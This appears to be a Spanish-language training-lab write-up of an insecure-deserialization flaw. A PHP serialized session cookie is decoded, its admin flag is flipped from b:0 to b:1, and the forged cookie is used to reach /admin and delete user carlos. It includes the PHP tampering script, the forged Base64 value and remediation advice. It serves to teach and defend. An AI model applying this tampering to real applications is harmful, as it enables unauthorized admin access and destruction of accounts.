← Writeups

Modifying serialized objects

Escalada de privilegios por modificación de un objeto PHP serializado en la cookie de sesión: voltear el flag admin de b:0 a b:1 concede acceso administrativo.

Target Overview & Vulnerability Summary

El lab usa un mecanismo de sesión basado en serialización: la cookie session contiene un objeto PHP serializado (URL-encoded + Base64). El objeto expone un campo admin booleano. Editando el objeto serializado —cambiando b:0 por b:1— se obtienen privilegios de administrador y se elimina al usuario carlos.

Campo Valor
Severidad Alta (escalada de privilegios por manipulación de objeto serializado)
Endpoint vulnerable Cookie de sesión (objeto PHP serializado)
Root cause Mecanismo de sesión basado en deserialización de datos atacables sin firma ni autenticidad

Credenciales del laboratorio: wiener:peter.

Technical Breakdown & Exploitation Flow

1. Análisis de la cookie de sesión

Tras iniciar sesión, el header Set-Cookie entrega un valor que contiene una cadena URL-encoded (termina en %30) y, al decodificarla, Base64 (termina en =):

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=

Decodificación:

echo -n 'Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjowO30=' | base64 -d

Resultado:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

2. Desglose del objeto serializado

  • O:4:"User" — objeto de la clase User con nombre de longitud 4.
  • :2: — dos atributos.
  • s:8:"username";s:6:"wiener" — atributo username (8 chars) con valor wiener (6 chars).
  • s:5:"admin";b:0 — atributo admin (5 chars) con valor booleano false.

El campo admin en false es la palanca de la escalada.

3. Modificación y re-serialización

Script PHP para manipular y verificar el objeto:

<?php
    $deserializedObject = 'O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}';

    $serializedObject = unserialize($deserializedObject);
    echo "[+] Serialized: \n";
    var_dump($serializedObject);

    echo "[+] Base64 encoded: \n" . base64_encode($deserializedObject);
?>

Salida:

[+] Serialized:
object(__PHP_Incomplete_Class)#1 (3) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  ["username"]=>
  string(6) "wiener"
  ["admin"]=>
  bool(true)
}
[+] Base64 encoded:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30=

4. Entrega del objeto modificado

  1. Reemplazar el payload de la cookie session por la cadena Base64 modificada (con admin;b:1), aplicando URL-encoding si el backend lo exige.
  2. Cargar una página administrativa (p. ej. /admin) con la cookie adulterada.
  3. Con la sesión elevada, eliminar al usuario carlos (p. ej. GET /admin/delete?username=carlos).

Root Cause Analysis

El fallo es confiar en un objeto serializado en la cookie de sesión para decisiones de autorización, sin ninguna garantía de integridad/autenticidad. El objeto es descifrable y editable por el cliente (Base64 no es cifrado), y el servidor no firma ni valida HMAC antes de deserializar. Un campo booleano admin decidido por el cliente convierte la escalada en un cambio de un bit.

Secure Remediation

  • No almacenar datos sensibles ni decisiones de autorización en la cookie. Mantener el estado de sesión server-side (identificador opaco aleatorio) y consultar el rol en cada request:
session_start();
// solo el session_id opaco viaja en la cookie
// el rol se resuelve desde la base de datos/sesión server-side
if ($_SESSION['user']->admin === true) { /* admin */ }
  • Si el objeto debe viajar al cliente (memcached distribuido, por ejemplo), firmarlo con HMAC usando una clave server-side secreta y verificar la firma antes de unserialize.
  • Nunca usar unserialize sobre input del usuario; en su lugar usar json_decode si el formato es JSON, que no instancia clases arbitrarias (gadget chains).
  • Restringir el acceso a /admin por autorización server-side (rol), no por el contenido de la cookie.